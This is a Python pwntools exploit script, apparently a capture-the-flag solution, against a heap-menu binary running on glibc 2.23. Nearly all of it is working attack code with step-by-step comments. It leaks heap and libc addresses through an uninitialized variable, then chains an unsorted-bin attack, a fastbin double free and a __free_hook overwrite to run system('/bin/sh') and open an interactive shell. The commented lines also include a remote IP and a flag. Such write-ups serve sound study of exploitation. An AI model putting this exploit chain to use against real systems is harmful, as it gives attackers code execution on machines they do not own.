#!/usr/bin/env python

from pwn import *

def authenticate(password):
    p.sendafter('Enter password\n', password)

def add_data(password, size, data):
    p.sendlineafter('>>> ', '1')
    authenticate(password)
    p.sendlineafter('Enter size\n', str(size))
    p.sendafter('Enter data: ', data)

def edit_data(password, index, data):
    p.sendlineafter('>>> ', '2')
    authenticate(password)
    p.sendlineafter('Enter index\n', str(index))
    p.send(data)

def remove_data(password, index):
    p.sendlineafter('>>> ', '3')
    authenticate(password)
    p.sendlineafter('Enter index\n', str(index))

def view_data(password, index):
    p.sendlineafter('>>> ', '4')
    authenticate(password)
    p.sendlineafter('Enter index\n', str(index))

with context.quiet:
    # inctf{sp1r1t3d_n0te_t0_uns3cur3_the_p4d}
    # p = remote('18.224.57.15', 1337)
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    # data[0] => chunk_0 (0x21)
    add_data('\n', 1, '\n')

    # data[1] => chunk_1 (0x21)
    add_data('\n', 1, '\n')

    # removing these two chunks will put them in fastbin free list
    # 0x20: chunk_1 --> chunk_0
    remove_data('\n', 0)
    remove_data('\n', 1)

    # data[0] => chunk_1 (0x21)
    # we write only one byte, and left the data in chunk_1 intact
    add_data('\n', 1, '\x01')

    # we can leak the chunk_1's fd which points to chunk_0
    view_data('\n', 0)

    # we can find the heap base address
    heap_addr = p.recvuntil('\n0')[0:-2]
    heap_base = u64(heap_addr + '\x00' * (8 - len(heap_addr))) - 0x1
    print 'heap base: {}'.format(hex(heap_base))

    # the following remove makes the fastbin free list looks like this:
    # 0x20: chunk_1 --> chunk_0
    remove_data('\n', 0)

    # data[0] => chunk_2 (0x81)
    # we try to create a fake_chunk which is bigger than fastbin size (0xe1)
    add_data('\n', 0x70, p64(0) + p64(0xe1) + '\n')

    # data[1] => chunk_3 (0x71)
    add_data('\n', 0x60, '\n')

    # data[2] => chunk_4 (0x31)
    # we create this to prevent consolidation of the fake_chunk with top chunk
    add_data('\n', 0x20, '\n')

    # here is where the actuall vulnerability happens. we have an uninitialized variable
    # in the remove function that we can overwrite with arbitrary value in authenticate function
    # basically, we overwrite it with address of our fake_chunk
    # what happens is that our fake_chunk gets freed and added to the unsorted bin
    remove_data('c' * 0x3f0 + p64(heap_base + 0x60) + '\n', 10)

    # data[3] => chunk_5 (0x71)
    # this allocation uses the freed chunk in the unsorted bin. As a result,
    # a main arena address (libc address) will be written in the data[1]
    # basically, last_remainder is overlapped with our fastbin chunk (chunk_3)
    add_data('\n', 0x60, '\n')

    # this will leak the main arena address
    view_data('\n', 1)

    # we can find the libc base address
    libc_addr = p.recvuntil('\n0')[0:-2]
    libc_base = u64(libc_addr + '\x00' * (8 - len(libc_addr))) - 0x3c4b78
    print 'libc base: {}'.format(hex(libc_base))

    # we want to overwrite free_hook with system, so we need to create a fake chunk before free_hook
    free_hook = libc_base + 0x3c67a8
    print 'free hook: {}'.format(hex(free_hook))

    # since, last_remainder overlaps with chunk_3, we can edit chunk_3 in order to
    # overwrite last_remainder's bk pointer with an address before free_hook
    edit_data('\n', 1, p64(0) + p64(free_hook - 0x28) + '\n')

    # data[4] => chunk_6 (0x71)
    # this allocation will launch unsorted_bin_attack, which writes a libc address
    # somewhere before free_hook
    add_data('\n', 0x60, '\n')

    # removing chunk_5 and chunk_6 puts them in the fastbin free list
    # 0x70: chunk_6 --> chunk_5
    remove_data('\n', 3)
    remove_data('\n', 4)

    # once again we use our uninitialized variable situation to free an arbitrary heap address
    # this double free attack causes fastbin_dup attack
    # 0x70: chunk_5 --> chunk_6 --> chunk_5
    remove_data('c' * 0x3f0 + p64(heap_base + 0x60) + '\n', 10)

    # data[3] => chunk_5 (0x71)
    # we set chunk_5's fd to the fake chunk before free_hook
    add_data('\n', 0x60, p64(free_hook - 0x1b) + '\n')

    # data[4] => chunk_6 (0x71)
    add_data('\n', 0x60, '\n')

    # data[5] => chunk_5 (0x71)
    # this allocation will put the address of the fake chunk before free_hook in the fastbin free list
    add_data('\n', 0x60, '\n')

    system = libc_base + 0x45390
    print 'system: {}'.format(hex(system))

    # data[6] => fake chunk before free_hook (0x71)
    # so, we will overwrite free_hook with address of system
    add_data('\n', 0x60, '\x00' * 0xb + p64(system) + '\n')

    # we put "/bin/sh" in chunk_4
    edit_data('\n', 2, '/bin/sh' + '\n')

    # freeing chunk_4 actually is calling system("/bin/sh")
    remove_data('\n', 2)

    p.interactive()

